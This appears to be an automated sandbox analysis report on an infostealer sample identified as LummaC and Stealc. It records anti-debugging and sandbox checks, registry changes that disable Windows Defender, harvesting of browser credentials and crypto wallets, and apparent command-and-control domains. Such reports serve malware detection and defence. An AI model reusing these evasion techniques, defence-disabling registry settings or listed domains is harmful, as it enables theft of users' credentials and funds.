Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Special instruction interceptor: First address: 9F79C9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Special instruction interceptor: First address: B98B57 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Special instruction interceptor: First address: 9F554A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Special instruction interceptor: First address: C24CEB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Special instruction interceptor: First address: DCDCD6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Special instruction interceptor: First address: F6B99F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Special instruction interceptor: First address: F6A8A8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Special instruction interceptor: First address: F9355B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Special instruction interceptor: First address: FFBFFD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Special instruction interceptor: First address: DDFD88 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Special instruction interceptor: First address: DDFE2F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Special instruction interceptor: First address: FA5762 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Special instruction interceptor: First address: 1004BDE instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Memory allocated: 5580000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Memory allocated: 5740000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Memory allocated: 7740000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe

Code function: 3_2_00F489CE rdtsc

3_2_00F489CE

Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\pfY4k1qisn.exe TID: 3056	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe TID: 1772	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe TID: 984	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\pfY4k1qisn.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe, QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe, 00000003.00000002.2503302404.0000000000F4D000.00000040.00000001.01000000.00000006.sdmp, 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2468356627.0000000000F5D000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.0000000001602000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW5
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.000000000158E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareD
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: pfY4k1qisn.exe, 00000000.00000003.2167506142.0000000005BE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: pfY4k1qisn.exe, 00000000.00000003.2219497222.00000000014A8000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2240812135.00000000014A8000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2280816747.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2219846381.00000000014A8000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2369161675.00000000014AC000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2144810796.00000000014A8000.00000004.00000020.00020000.00000000.sdmp, 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.0000000001602000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: pfY4k1qisn.exe, 00000000.00000003.2167506142.0000000005BE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.000000000158E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe, 00000003.00000002.2503302404.0000000000F4D000.00000040.00000001.01000000.00000006.sdmp, 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2468356627.0000000000F5D000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: pfY4k1qisn.exe, 00000000.00000003.2167698791.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\pfY4k1qisn.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\pfY4k1qisn.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe

Code function: 3_2_00F48ABF Start: 00F48AF5 End: 00F48AF1

3_2_00F48ABF

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe

Code function: 3_2_00F489CE rdtsc

3_2_00F489CE

Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe

Code function: 3_2_00DCB96C LdrInitializeThunk,

3_2_00DCB96C

Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe PID: 5972, type: MEMORYSTR

LummaC encrypted strings found

Source: pfY4k1qisn.exe, 00000000.00000003.2099084388.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: steppriflej.xyz
Source: pfY4k1qisn.exe, 00000000.00000003.2099084388.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sendypaster.xyz
Source: pfY4k1qisn.exe, 00000000.00000003.2099084388.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cuddlyready.xyz

Source: QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe, 00000003.00000002.2503448354.0000000000F90000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: *Program Manager
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2468866837.0000000000FA0000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: EProgram Manager

Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\pfY4k1qisn.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: pfY4k1qisn.exe, 00000000.00000003.2240812135.00000000014A8000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2368363018.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2258755788.0000000005BBD000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2280816747.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2240947104.0000000005BBC000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2281086617.0000000005BBD000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\pfY4k1qisn.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: pfY4k1qisn.exe PID: 5732, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000004.00000003.2425662975.0000000005390000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2466975072.0000000000B91000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2469702020.000000000158E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe PID: 5972, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: pfY4k1qisn.exe, 00000000.00000003.2219497222.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: pfY4k1qisn.exe, 00000000.00000003.2219497222.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: pfY4k1qisn.exe, 00000000.00000003.2219497222.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
Source: pfY4k1qisn.exe, 00000000.00000003.2219497222.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: pfY4k1qisn.exe, 00000000.00000003.2219497222.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: pfY4k1qisn.exe, 00000000.00000003.2219497222.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: pfY4k1qisn.exe, 00000000.00000003.2219497222.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: pfY4k1qisn.exe, 00000000.00000003.2219460576.0000000001510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: pfY4k1qisn.exe, 00000000.00000003.2280719899.0000000001513000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
